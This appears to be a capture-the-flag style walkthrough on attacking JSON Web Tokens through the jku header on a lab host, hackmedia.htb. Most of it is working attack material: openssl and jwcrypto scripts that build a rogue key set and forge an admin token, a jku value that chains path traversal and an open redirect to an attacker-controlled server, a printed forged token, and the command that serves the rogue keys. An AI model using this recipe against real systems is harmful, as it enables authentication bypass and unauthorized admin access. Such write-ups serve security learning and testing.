Attacking JSON Web Token

Let's say, this is a normal user web page.

When we register and login with an account, the authentication mechanism is look like this.

When we decode it,

It's using RS256 algorithm and token is using jku header parameter which contains the JSON Web Key and the URL is to be used for token verification.

The jku header is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS.

The jku header url is look like this,

If an attacker generate a public and private key pairs and create a new token with a new private key (which we generated) and replace jku header with the url which contains new generated jwks.json file (host on a web server) and then the token would be accept by the server.

Download or copy that jwks.json file.

Creating a new keypair.pem

openssl genrsa -out keypair.pem 2048

Generating n,e,kid

We're using python jwcrypto module to generate n,e and kid

Install pip3 install jwcrypto

jwk-gen-1.py
#!/usr/bin/python3

from jwcrypto import jwk,jwt 

with open('keypair.pem','rb') as pemfile:
	key = jwk.JWK.from_pem(pemfile.read())

print(key)
print("n: ", key.n)
print("e: ", key.e)py

Run python3 jwk-gen-1.py and the output should look like this

{"kid":"CrNfhdyvBdPsLMc_HlfoMXfHhCCsxVU7puGGIjKY7Eo","thumbprint":"CrNfhdyvBdPsLMc_HlfoMXfHhCCsxVU7puGGIjKY7Eo"}
n:  _nnl4TPSAoA6JeumpR-ZgrIdu7K76Y1BEhAbIQ16Oe5Idp-DVz5qValRBGDH0XwYic5ukiNJYhKwFZv5S50fYo0zUgiBuHJzocQc1eD8duUTjvRIHJCc6DaXsRtJcq1paSfLds6FQQ0Q0hOY_aMF7gFOYeQ-i6mKGa8rA6nDU-267CsEUIcxJFV6a2Zw3597BMBNys_hwB75yst-XfmUGntyOloru1LH8NCPQvMBrmcLPmxeZpwF1Cisfy3Fcx0_gYCs4ZXyVbEHiGYoDEpZ_oO1rqqo3dtX877KWF11deuPFfNqblw9p1hIxgTtdStrUi0_JWUYP5PEct4KNdWIkw
e:  AQAB

Replace kid , n and e in your jwks.json file like this,

Now we can create a new token as username admin

Creating new token

token-gen.py
#!/usr/bin/python3

from jwcrypto import jwk,jwt 

with open('keypair.pem','rb') as pemfile:
	key = jwk.JWK.from_pem(pemfile.read())

headers = {
	"alg": "RS256",
  	"jku": "http://hackmedia.htb/static/../redirect/?url=10.10.14.18:8000/jwks.json"
}

Token = jwt.JWT(header=headers, claims={"user":"admin"})
Token.make_signed_token(key)
print(Token.serialize())

NOTE: If the server validate the original url, we can use the Redirect method like above. If not, you can use just like "jku": "http://yourwebsever.com/jwks.json"

Run that script and we will get a new token like this.

eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjY1OjgwMDAvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.8XfoCJP-whwgrE02ZGPuS6mLmVuvzZ9StyUBb92M6GZLgUVLWmew-Bo7QTBmIa7JJSLONmKOqefbcVJVExmm8YCf95tCmKlLM28Nzq2lQsxlZh5v-cDJ21sHL5O1hahB7sJCULZDSRwrOEwWwS2y_eBtGr70RBqst0j8135S9ppHDXgcP0xWVkTV-x0jVpXNyfX-ETxIyjqlrIw7M2nX6AXS2bhvraYtKx7ARHxh52PsirawfyQhwElb1-AF4hKWElDKnEV9kPHa2D-KFp-ESUQFx8sQMH0Q4saDQCmwibT61H92qn8geH1k_KlC90-BM1pgik1IqMNrmRJa4YA0nQ

Now create a web server, copy that a new token and replace it in a cookie header in web page.

python3 -m http.server 8000

When we replace the token and refresh page, it will request/download jwks.json file in our web server.

Now we got admin panel by jku header claiming method.

Last updated